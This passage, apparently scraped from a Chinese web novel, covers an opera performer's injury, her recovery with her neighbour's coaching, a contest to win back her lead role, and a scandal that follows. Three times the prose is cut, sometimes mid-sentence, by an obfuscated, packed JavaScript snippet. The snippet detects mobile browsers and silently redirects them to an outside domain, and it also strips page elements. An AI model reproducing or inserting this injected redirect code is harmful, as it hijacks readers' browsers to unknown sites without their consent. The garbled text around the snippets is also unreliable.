敷药轻柔地按摩是有助于恢复的,沈枝跟老中医学了简单的手法,因为受伤的部位比较敏感,别人也不好帮忙,她只有自己来。 看着她别扭地扭着身子忍着疼一个人小心翼翼地揉按,靳连竹想了想说:“给你讲个故事。” “一个京剧名角儿因为年轻名气大而被同行嫉妒,表面看着人畜无害的人背地里下黑手。在那个名角儿的戏服里藏了许多针,戏服穿在身上后名角儿上台唱戏,随着他的动作那些针就开始往肉里扎,动作越大扎得越深越疼,名角儿跟你一样,硬是忍着疼把整台戏唱完,下来的时候脱掉戏服浑身是血。” 沈枝听得愣住了,“这是真事假事,什么时候的事,那名角儿是谁,后来呢。” 是真事,就是他。 往事提起仍会让他心头一紧,靳连竹没说话,只笑了笑,接过她顿住了手里的中药包替她热敷伤处。 26. 不要伤及无辜 沈枝还沉浸在刚才那个故事里,丝毫没有察觉他已经在替她敷药了。 见他不说话,沈枝开始疑惑,“是你编来骗我的吧。” “不是。”靳连竹专注地帮她敷药,刚才她自己够不到位置,他都看着,像她那样敷其实没什么作用,可偏她不让别人碰。 “是真的。”他说,“后来身上受了很重的伤,最严重的一根针扎进了血管里。” “什么样的针能扎进血管里,绣花针吗,怎么可能刺透皮肤扎进皮肉里。” 在沈枝的认知里,缝衣服的针不具备这样的能力。 “就是那种好多针捆在一起。”他说,当时昏迷不醒只是听大夫说了一句,具体是什么样他自己也没看到过,并不清楚。 沈枝看着他,“是谁。” 靳连竹笑了笑,这次没回答。 就听“哎哟”一声,沈枝疼得叫出了声,这才后知后觉地意识到原来他早就替她敷药好一会儿了。 脸上发起热,从他手里夺过药包,沈枝低着头嘟囔一句,“我自己来。” 她低着头也不看他,一个人慢慢敷着,从靳连竹的角度看过去,只能看到她红红的耳尖和精致的下巴。 他搓了搓背在身后的手指,上面还残存着她药包的温度。 她已经愿意跟他说话了,这让靳连竹很高兴,高兴得说不出话来。 沉默,房间里很安静,只能听到沈枝敷药窸窸窣窣的声音。 “那时候福利院的老院长病重,他一辈子没结婚,无儿无女,我就回去照顾他了。” 夕阳下,他坐在病房的角落里,眼前是绯色的残影,而他周身都被阴影笼罩,与这瑰丽的晚景形成了泾渭分明的两个世界。 “不辞而别是我的不对。”他说,低着头,两只手架在膝上,手指穿插交错。 沈枝这才听明白他说的是什么。 自从那晚她离开他的房间后,虽然彼此都明白是为什么而疏远生气,但谁也没有提及过这件事。要不是这次沈枝受伤,恐怕两个人就再没有交集了。 沈枝默默听着,并不回应。 “老院长把所有的钱都用在了福利院,给那些老人孩子买的东西很多都是他自掏腰包。自己家里什么都没有,他住在一间车库里头,只有一张床和一个衣柜一张桌子,和一个小小的卫生间,连厨房都没有,一个小的电饭煲解决了一切问题。” 沈枝没法想象那种贫简的生活。 “他总说,自己每天都泡在福利院里,那里什么都有,家里没必要添置东西,没人住浪费了。” “福利院靠政府拨款,每个月的吃穿用度都是有限的,很多意外的开支都是老院长自己付账,也从不报销。他去世的时候给了我一个存折,上面竟然还有七万八千块钱的余额。他说,是留给我的。” 靳连竹笑了一下,顺手抹去腮边的一滴泪珠,“我把钱以老院长的名义捐给了福利院,照顾他到去世,下葬,前前后后半年多时间。那时候情绪很不好,老院长是看着我长大的,让我觉得身边本就没有几个人,现在又走了一个。那时候每天没有固定的住处,我就住在他的车库里,没有心情上网,停止了一切活动,大多数时间什么都不做就待在那个小屋子里静静坐着。” 那一定是极伤痛的经历吧,沈枝看着他,凌乱的短发,白皙的面颊上泛着青色的胡茬,衬衫的第一粒扣子开着,从她的角度能看到他漂亮的锁骨和完美的下颌线。 现在说起这事,他仍旧是悲伤难以自抑的。 只是,他只说了一半,另一半是老院长临终之前给了他一些文件,是关于沈家的资料和信息,他说:“如果你想为自己讨还公道就去吧,只是别伤害无辜的人。” 他懂得老院长的意思,他们是一起过来的,上一世老院长就在他身边,他说的无辜的人是指沈家现在所有的人,毕竟,那是他们祖辈留下的孽债,跟子孙没有关系。 可是他找到沈新华的时候,老人家明显知道这里面的事情,却矢口否认。 他也是被逼无奈。 靳连竹始终低着头,看上去很难过。沈枝不知道该说什么,这时候安慰的话都显得很无力,但是,他的不辞而别也的确伤害了她,要说原谅不原谅的倒也谈不上,在她心里,似乎过去了。 沈枝出院那天是宋雪峰过来接她的,说是给她安排好了单间的病房,还配了老中医和一位西医大夫,被沈枝拒绝了。 “不知道的还以为我得了绝症。”沈枝坚持回自己的家,“我没事,慢慢养着就行。” 但是她的行动仍旧受限,杨小咩在她住院的时候推掉了团里许多工作,这会儿被沈枝撵走带着团队出差演出去了。 “我这辈子是赚不了大钱发不了财了,还指望你这个闺蜜带我飞呢,赶紧回去好好赚钱。” 杨小咩千叮咛万嘱咐靳连竹照顾好沈枝,这才不放心地走了。 和宋氏集团的合作沈枝不敢耽搁,虽然不能练功上班,但是前期的事情可以准备起来,她每天按时起床,电话会议或者视频会议,然后一个人默默办公,需要跑腿的活儿就交给靳连竹去跑,然后两个人视频沟通,一切倒是很顺畅。 靳连竹仍旧参与汇报演出的彩排,只是从未跟沈枝谈起过团里的情况。 她不问他就不说。 除此以外,他还隔两日就带着沈枝去老中医那里针灸理疗,希望可以康复得快一些。 也的确是比寻常的患者好得快,这话是负责沈枝治疗的大夫说的,大约跟中医理疗有关,或者跟她平时身体底子好也有关。 距离汇报演出还有两周的时间,沈枝的伤势也在恢复之中,只是不知能不能赶得上。 日子如常过着,沈枝很忙,忙着处理工作,忙着康复治疗,忙着背唱词练唱腔,她期盼着自己能够参与汇报演出,或许跟审查节目的领导说一说,自己绝对不会耽误汇报演出,是不是可以…… 这只是她一厢情愿的想法。 这期间母亲又来过一次,哭成了泪人,沈枝觉得很烦。 “你就不能软和一点,像你姐姐那样,跟你爸爸说句好话道个歉认个错,保证以后都听话,这不就能让你回家了吗,在家里妈妈能照顾你,给你做点儿好吃的,也比你一个人在外孤苦伶仃有家不能回要强吧。” 马岚是个软弱的性子,一面心疼女儿,一面惧怕丈夫,一面又顾念大女儿的想法。 沈枝失笑,“我做错什么了我要道歉,我的工作是我自己考进来的,我在团里参加演出,报名参奖我有什么错,因为我的家庭不能参奖就要耽误其他演员和导演吗,连累团里连累大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465425|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家吗,我多大脸啊。” 对于母亲的无理取闹沈枝很头疼,每次来只会哭哭啼啼地让她妥协,从小到大都是这样,她已经厌烦了。 马岚没有办法,留下鸡汤和一些补品抹着眼泪回去了。 没几天沈新华又过来了。 对于爷爷的到来沈枝一点儿也不意外,毕竟他关注她的一举一动。 “你的伤势能参加节目审核吗?”沈新华看着她直不起腰来的样子,眉头蹙起。 “既然报上去了就没理由半途而废,传出去毁的是沈家的名声。”他声音听上去很严厉,“干这一行的没有怕受伤的,带着伤练功演出都是家常便饭,你既然报名了就不能退缩。” 沈枝点头,“我并不想失去这次机会。” 她眼里含着泪,一副无精打采的模样,看上去可怜巴巴的。 沈新华收起严肃,笑得很慈爱,“也不要太有压力了,需要的话谢团那边爷爷可以帮你去说句话,给点儿压力他们……” “不用。”沈枝断然拒绝。 这份工作是她自己靠本事得来的,跟家里跟爷爷没有半点关系,她不会让任何人搅入她的工作中,就像她也不会允许任何人干涉她的生活她的感情一样。 沈新华点头,“那爷爷就等着你的好消息。” 他走的时候刚好靳连竹回来,沈枝把沈新华送到电梯口,电梯上来靳连竹恭敬地叫了一声:“老师。” 沈新华点头,走进电梯后看着沈枝,“祖父跟你说过的话,希望你记得。” 他指的是靳连竹,沈枝垂着脑袋不吱声,直到电梯门关上显示屏上的数字一点一点往下,她才抬起头来,露出笑脸看着靳连竹,“晚上吃什么,我饿了。” 她披着羊绒披肩,里面是一件短袖T恤,长发披散在身后,整个人呈现出懒散随意的模样。 倒是和他平时见到的那个干练爽利的沈枝判若两人。 自从受伤以后,靳连竹觉得沈枝变得柔软了许多。 “螃蟹。”他抬起手,沈枝看到了乱动的袋子。 “已经能吃到了吗?”沈枝爱吃螃蟹,“那配点烧热的花雕。” 他点头,腾出一只手搀扶着她往家里去。 “团里今天预演了一次。” 这是靳连竹第一次说起团里的事,沈枝都差点儿忘了他还是此次汇报演出的主角之一呢。 “小陈唱得不错,身法也很好。”靳连竹慢慢地说,“但是在我看来比你差得还不少,她太年轻,舞台经验少,显得很刻板匠气太足,对剧本和人物的理解和诠释上不够。” “时间还短,再说剧本是我写的,自然我更熟悉。”沈枝笑了笑,心里突然有一种不安的感觉。 “预演效果谢团不满意。” 这是整晚靳连竹说的关于团里事情的最后一句话,沈枝就没有再追问,却莫名觉得松了一口气。 第二天中午,沈枝接到了谢团的电话。 “团里最终决定换下主角,让小陈替你演出。”谢团的声音显得很僵硬,好似在努力维持平静,“你还年轻,机会以后还有的是……” 后面的话沈枝没有听进去,只觉得胃里翻江倒海,“哇”的一声吐了。 去卫生间擦洗的时候对着镜子才看到自己早已泪流满面。 27. 为她争取到了机会 光线骤然暗下来,没有任何征兆地变了天。 委屈、难过都不足以形容沈枝当下的心情,胸口仿佛有一股憋闷的气,上不来下不去,卡在喉咙里让人觉得窒息。 胃里吃的东西都吐了个精光,涕泪横流,狼狈不堪。 她等这个机会等了两年,相对于大多数人而言她是幸运的,可是她又是不幸的,自己好不容易争取来的机会葬送在自己手里。 气谁呢,气自己,可是真的该气自己吗,好像也不应该。 就是这种不知道该气谁,心里也明白甚至都不该生气的感觉才叫人觉得委屈,绝望。 一股脑发泄完,走出卫生间的时候靳连竹站在门边,一脸担忧地看着她。 眼睛都哭肿了,通红的眼眶通红的鼻头,被眼泪淹湿的面颊微微有些过敏,看上去红红的一片。 “我没事了。”她用手背擦掉眼泪,拼命挤出一丝笑容。 眼睫上还挂着残存的泪珠,让她看上去委屈极了。 靳连竹点了点头,“你别怪谢团,他也被降职了。” 沈枝愣住了,“为什么,因为他帮我说话。” “他是要保住你的主演。”靳连竹扶着她走回床上,帮她脱了鞋子轻轻架起双脚躺下,“你也不用责怪自己,这是他的行事风格,不让他做他只会更难受。” 谢团的脾气沈枝是了解的,如同四川的辣椒一样火爆直接却让人喜欢。他对沈枝是发自内心地欣赏。 “应当还是有机会升回去的。” 他声音轻轻浅浅,说到这里咳嗽了几声,谁知越咳越厉害竟止不住直到咳得满脸通红眼泪都流出来了。 “你这个咳嗽有一阵子了,怎么也不去看看。”沈枝也不能动弹,随手抽出纸巾递给他。 “没事。”靳连竹接过纸巾转身去了卫生间。 门被关上,沈枝听到水声和他的咳嗽声交织传出来,她试了试伤处不怎么疼,于是缓慢下床倒了杯水给他送过去。 门再次被打开的时候,靳连竹看到她端着杯水站在那里等他,一双好看的大眼睛在他脸上梭巡,满是关心和担忧。 嘴角微微上扬,逐渐扬起一个大大的弧度,那一刻,他觉得开心。 “还笑,明天就去看医生,不能再拖了。”沈枝递上水杯。 他接过喝下,应了她。 “你照常好好治疗,其他的不用操心。”他说,“没到最后一刻,谁都说不好。” 沈枝点了点头,回了个淡淡的微笑,感谢他的安慰。 还有整整两周就是预演了,沈枝每天都在心里默默计算着日子。 大概是已经形成习惯了吧。 中医针灸和西医复健她都配合得很认真,伤处果然好得要快一些,已经可以自己行动了,疼痛感基本没有了,就是医生说还不能剧烈运动,因为伤处还没长好。 对于靳连竹这段时间的帮忙,沈枝很感谢,请他吃了顿饭就让他去忙自己的事情了。 “我已经可以自己行动了,虽然慢了点儿但是小心一些没问题的。”她笑着看着他,眼神中又带着那种疏离。 不是她过河拆桥,只是两个人既然只是邻居那就不应该太亲密,沈枝没有别的想法也不希望让他误会,更不愿提起从前的事情,现在她只想好好工作。 她留意着他的表情和动作,靳连竹给她夹了一筷子菜放进餐盘里,笑着说:“好,那就按你说的办,有任何需要帮忙的地方你随时叫我。” 没有任何不愉快或迟疑的反应,沈枝放心了。 随后的两天周末,两个房间的门都是关着的,沈枝一个人倒也没什么大问题,好在家里没有重活要干,其他的家务和买菜做饭杨小咩帮她叫了保姆,是她们家的保姆,人很爽朗干活麻利,沈枝只让她做了两天就回去了。 她不喜欢兴师动众,家里的小家务自己做一做权当锻炼了。 周日夜里沈枝刚睡下就被120的声音吵醒,动静挺大的,她慢慢下床打开门就看到靳连竹被担架抬走了。 一群穿着白大褂戴着口罩的人匆匆来匆匆走,瞬间就在她眼前消失了,眼看着最后一个大夫帮靳连竹关了门就要走,沈枝忙叫住他询问是怎么回事。 “患者突发心脏病,需紧急治疗。” 说完他又想了想问沈枝:“你认识患者的家属吗,现在人去急救需要家属签字。” 他没有家属,沈枝快速做了个决定,“他家是外地的,家属不方便过来,我过去医院帮他签字吧。” 大夫看了她一眼,“你好像有伤。” 沈枝说没事,“我可以过去就是可能动作比较慢。” 小大夫摘了口罩,是一位非常年轻的小帅哥,笑得一脸灿烂,“那我叫同事用担架抬你走。” 就这样,深更半夜两副担架把两个人都送进了医院。 后来沈枝才知道靳连竹吃的止咳药里含有□□,会升高血压加快心率由此导致了心脏病突发的情况,不过好在他情况并不严重经过及时救治已经脱离了危险。 有惊无险的一次,可把沈枝吓得够呛。 宋雪峰和杨小咩赶到的时候,沈枝正坐在靳连竹床边给他削苹果。 “你俩这是轮流到医院打卡啊。”杨小咩调侃他,“你说你年纪轻轻怎么吃了点止咳药就进医院抢救了呢。” “是啊,又没有心脏病什么的,怎么触发的。”宋雪峰也问他。 他摇了摇头,“正在家里练功。” 明白了,剧烈运动之后心跳加快然后服药,沈枝摇头,“你还真是拼。” 靳连竹抬起眼睛,那双好看的凤眸弯弯地看着她,“我把师父当年教给我的绝活儿复习了一遍,出院之后我教你,能让你短时间内迅速恢复状态。” 速成法,沈枝从前听说过但是失传了,没想到还真有人会。 靳连竹恢复得很快,回到家就开始拉着沈枝训练,中医按摩也增加了频次。 沈枝对于他突如其来的动作有些不解。 “干什么这么赶。” “你已经快痊愈了,早点练也不会无聊。” 这叫什么回答,沈枝也不多问,练就练吧。 他好似有备而来,很讲究方法,带着她练的也多是基本功。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469737|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “核心原则:打好基础,避免受伤。”他说。 先是带着她半小时热身,慢跑、拉伸、活动关节,做得很轻松,之后就是循序渐进地提高难度增加强度。 “感到剧痛就立刻停止。”靳连竹叮嘱沈枝,“是剧痛不是酸痛。” 她乖乖照做,很认真。 他让她唱念做打四功必须每天练习,手眼身法步五法也每天练习,另外还给她增加了高效训练,压腿踢腿甩腰下腰涮腰,还有圆场功、身段功、唱念功等。 过程中靳连竹会在身边一板一眼地严格指导她的动作和身法唱功,让沈枝经常会有醍醐灌顶的感觉。 晚上的时候,他会拉着她给她放珍藏已久的名家的唱段,然后一点一点暂停后分析给她听,从动作眼神到身法唱腔,沈枝手指头翘起的角度和衣襟的摆放都不放过。 虽说沈枝对练功没有抵触,可是也还是忍不住问他:“这不都是些基本功吗,速成法什么时候教我。” “基本功是最好的方法。”他说,“最快最不走弯路的速成法就是……” 上扬的凤眸微微眯起,他俯下身看着她,轻轻倾斜向她的方向,能闻到女孩子身上淡淡的香气,看到她脸上的小绒毛,白里透红的皮肤在练功之后格外水嫩,像极了水蜜桃。 “好老师。” 太过近距离地接触让靳连竹觉得身上紧绷起来,赶紧站好后借着帮她拿毛巾的空儿背过身去。 沈枝很认真地训练,能感觉到自己伤处已经好的差不多了,对于其他倒是没什么感觉,直到靳连竹把她带回到团里,她才知道为了让她能够再有一次内部pk的机会,靳连竹竟然威胁新来的团长,以辞演补交违约金的代价,为她争取了这次得来不易的竞争。 就是让沈枝跟顶替她的小陈现场当众比试。 这是沈枝第一次见小陈,小姑娘很精神干练,漂亮有活力,眼神里透着一股不服输的骄傲劲儿。 同事们都在,新团长沈枝也认识,就是原来管行政的副团长,谢团站在他身边角落的位置,冲沈枝点了点头。 二人比试的就是汇报演出的剧目,为了节约时间,把两个人放在一起比拼。一来考验心理素质不被干扰,二来高下立见这样更直观快速。 自然,沈枝完胜。 一点儿悬念都没有,甚至连她自己都没有想到自己能做得这么好。 大家围着她取经,想问问她是怎么做到养伤期间还能让技艺突飞猛进的。 沈枝就想起了靳连竹的那句话,“好老师很关键。” 她的眼神穿过人群看向角落的人,靳连竹正站在窗边跟谢团说话,高大挺拔,阳光下皮肤白得透明,脸上带着淡淡的笑。 “下次不许这样做了。”谢团板着脸看着他,“我知道你是为她,也是为我,但是这样威胁领导的事只此一次下不为例。” 靳连竹笑了笑,“我尽量。” 沈枝看到的是谢团横眉冷对,但是眼睛里却流露着笑意,而靳连竹则一副犯了错甘愿受罚却又不是发自内心改正的模样。 原来他还有这样纨绔的一面。 28. 离去 距离她们不远处,大家都在开心地聊天玩笑,阳光从洞开的窗户外照进来,把整个排练室照得金光灿灿,金色的笑容绽放在每个人的脸上。 真是美好的一天,沈枝做梦也没想到事情能有这样的转机。 排练室外的走廊上,靳连竹正在跟谢团说话,老团长脸上表情十分严肃,倒是靳连竹一副玩世不恭的样子。 “以后再不准这样任性妄为了。”谢团拉着脸训斥他,“你跟团里只是合作关系,就敢威胁团领导,你在这行还想不想干了,这么年轻还有大好的年华,太不懂得珍惜了。” 靳连竹低头不语,谢团知道他没听进去。 在心里他是很感激靳连竹的,在接到降职文件的时候谢团其实没觉得有什么大不了,可是当他看到同事们的眼神,才觉得有些愧对大家的期待和信任,就这样失去了话语权以后还拿什么保护这群执着热爱戏曲的孩子们。 谢团没想到这个年轻人这么勇,拿着自己的合作和前程换来了他和沈枝的一次机会。 靳连竹跟戏剧团以后恐怕是没有再合作的机会了,谢团觉得很惋惜,“以后的合作机会我会想办法,你是个难得的人才,枝枝曾经跟我提过要让你入编的想法,只是这个流程走起来非常复杂,最关键的推荐信就十分不容易,得慢慢来。” “这次演出好好表现,争取……” “我无所谓。”靳连竹笑着,“我这样做都是为了她。” 他笑着朝沈枝的方向点了点头,脸上笑得比阳光还灿烂。 望着靳连竹的背影,谢团陷入了沉思。 “领导。”沈枝走过来。 谢团看着她脸上立刻露出慈祥的笑容,“今天表现不错,没想到啊你竟然恢复得这么快,而且进步神速,看来养病期间没少下功夫。” 沈枝谦虚地摇着头笑了笑,不知道该如何回应,的确下功夫了倒都是靳连竹的功劳。 他的背影消失在走廊尽头,只留下一道修长的人影。 “谢谢领导为了我……” 沈枝话没说完谢团就摆摆手,“啥都别说了,这是为了你也是为了我自己,没有合适的人选就会影响演出效果,我不能对不起全团的人。” 沈枝也不多说点了点头,“改天我请您和师母吃饭,咱们去吃四川菜。” 谢团瞪眼,“哪家的四川菜能有你师母做得地道,要不咱们去吃上海菜吧,听说新开一家馆子很不错。” 谢团爱吃沈枝也爱吃,沈枝笑着点头,“叫上海会馆,我去吃过,非常不错,那就这么说定了。” 这件事之后谢团还是团长,沈枝也如从前一样加入到紧张彩排和练功之中,技艺的确比之前大有长进,同事们都围着她请教方法,还把她那天pk的视频反复观看,就连沈枝自己也觉得养病期间的进步很明显。 预演十分成功,沈枝松了一口气,大家也都很开心,团结起来一门心思奔赴国庆汇演。 去上海会馆吃饭这天是周五,天上下着毛毛细雨,沈枝请客。 紧绷了好一段时间的神经总算得以放松,大家都喝了酒,沈枝因为伤的缘故是唯一一个没喝酒的,所以就负责在吃完饭唱完歌后把大家一个一个送回家,最后只剩下一个靳连竹。 他们是邻居,理应一起走,大家都是这么认为的,所以谁也没提。 可是却难为了沈枝,因为靳连竹喝醉了。 没想到他的酒量竟然这么差,统共也没喝几杯啤酒,加起来……沈枝想了想,有一瓶吧,还是两瓶。 此刻已经是十一点多了,雨也停了,京市的夜生活正是最热闹的时候,马路上车水马龙灯火通明,沈枝点了软件叫了辆车,看着地图上那个正在被堵在路上一点一点缓缓朝着自己移动的小点,无奈地叹了口气。 靳连竹坐在长椅上,沈枝喝了半瓶的水放在椅子上,她站在他前方看着车子过来的方向,等待着。 一回头,靳连竹已经拿起她的水喝了,瓶口送进嘴巴里,喉结耸动,沈枝赶紧转过来当作没看见。 一股莫名的紧绷感让她觉得自己在出汗,赶紧压下怦怦直跳的心,沈枝朝着驶过来的车子招手。 好容易把人塞进车子里,沈枝坐在前面向司机报了地址又回头看他一眼,还以为他会在后座躺下睡觉,谁知他就那样笔直地坐着,看向窗外。 脸上没什么表情,不细看完全看不出来他喝醉了。 “你睡一会儿吧,这会儿堵车。”沈枝觉得他强撑着实在累。 靳连竹看向她的方向,说是看其实就是把脑袋转过来,那双狭长上翘的凤眼微微眯着,眼神却是迷离涣散的。 “没事,我很好。” 他就是在强撑,沈枝看着他那一本正经的样子觉得好笑,也不多劝只让司机开快一些。 车子停到楼下,沈枝扶着靳连竹下车,看着他一本正经的样子可是扶到的时候整个人沉沉地向她那边压过来,沈枝扶不住踉跄了几步,幸亏司机师傅反应快帮忙接了一把。 “姑娘,你男朋友很沉啊,你一个人小心点。”师傅帮沈枝把靳连竹送进大门,沈枝道谢后一个人搀扶着往小区里走去。 好容易进了单元门靠在电梯旁边,沈枝累得直喘气,“你感觉怎么样。” 靳连竹努力撑出笑容,“很好,我没喝多。” 舌头打卷,说话很慢,整个人正一点一点往沈枝的方向倾斜。 好在电梯很快,沈枝扶着他走出电梯,又一点一点送到家里,开了门朝他的卧室走去,男人的体重一点一点压下来,越来越重,沈枝快要支撑不住的时候被他倾倒的身体压在了床上。 他的身体面朝下砸在松软的床上,一只胳膊盖在沈枝身上,越过她的腰将她压在下面。 沈枝侧头看他,男人好像睡着了,那张精致的脸对着她,睫毛浓密低垂着,高挺的鼻梁紧闭的嘴唇,两颊泛起红晕,睡得很沉很香。 算了,反正他也喝多了没意识,不跟他计较了,沈枝努力翻身从他胳膊下成功脱身, 给他倒了杯水放床头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497485|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又拉过被子盖在他身上沈枝就准备离开了,路过他的书房,房间的门是开着的,里面的东西尽收眼底,沈枝想起上一次参观他的书房,那里简直像个博物馆。 想起他给自己准备的那些名角儿的视频和唱段,那都是十分珍贵的资料,沈枝的脚步不由自主朝着书房的方向走去,她又一次看到了靳连竹珍藏的黑胶唱片,那些穿旧了的戏服和行头,还有许多老照片老报纸…… 这些东西,真的是连图书馆博物馆都没有的,沈枝看到了一个文件袋,上面的字让她愣住了。 “你在这里。” 身后,靳连竹的声音传来,他醒了。 “你要这个做什么。”沈枝拿着手里的文件袋,声音听上去十分不悦。 文件袋上写着“沈氏资料”几个字。 “是老师给我的。”靳连竹解释,“让我了解沈家的历史。” 沈枝没说什么,这倒是很像祖父的行事风格,他收徒自然是要让徒弟知道家族历史,这无可厚非,可是这里面并不是沈家的历史而是现在的资料。 * 这个夏天过得很快,沈枝的伤早已无碍,每天全身心投入到排练之中,和靳连竹的关系又退回到邻居搭档的位置,不是陌生人也不会刻意回避,但是不再串门约会,没有除工作以外的交集,她们都退回到比原来更远的位置,慢慢就成了习惯。 沈枝也学会了一个人烧饭煮粥,照顾自己的能力比从前进步了一大截,连杨小咩都夸她越来越会生活了。 阳台上养了花花草草,家里添了一只小狗,沈枝给她起名叫元宝。 每天早起半小时遛狗,晚上忙完就赶紧回家带元宝出去玩,这成了她除工作以外的核心任务,有了元宝的陪伴沈枝每天忙得不亦乐乎。 靳连竹也没有再来打扰她,偶尔两个人在电梯间里遇见也只是点个头打个招呼,连一句多余的话都没有。 国庆汇报演出是九月三十日晚在中央电视台演播厅,通过央视一套三套直播及网络直播,沈枝的节目很顺利,也得到了现场领导和同行、观众的肯定,雷动的掌声说明了一切,沈枝谢幕的时候眼泪在眼眶里打转,忙了大半年,为了这一刻值得了。 她对自己的表现很满意,唱得很好,靳连竹也唱得很出色,两个人一亮嗓子立即迎来了掌声,就连小陈都跟她说:“枝枝姐,输给你我心服口服,就连靳连竹跟我对戏的时候都没有跟你搭档唱得好,简直不是一个人。” 之后沈枝出名了,各大媒体的采访和各种演出安排得满满的,沈枝得到了团里领导的高度评价,好在对得起谢团的保举,沈枝觉得很欣慰。 团里给她升了职,从原先的普通员工升成了主任,是戏剧团里最年轻的主任,为此同事们张罗着去吃大餐,为取得的成绩,为沈枝升职,也为靳连竹合同到期即将离去。 然而,不好的事情还是发生了,沈枝迎来人生第一个热搜,铺天盖地的“戏曲偶像包养小白脸”、“世家女同时交往多名男子”……打得沈枝措手不及。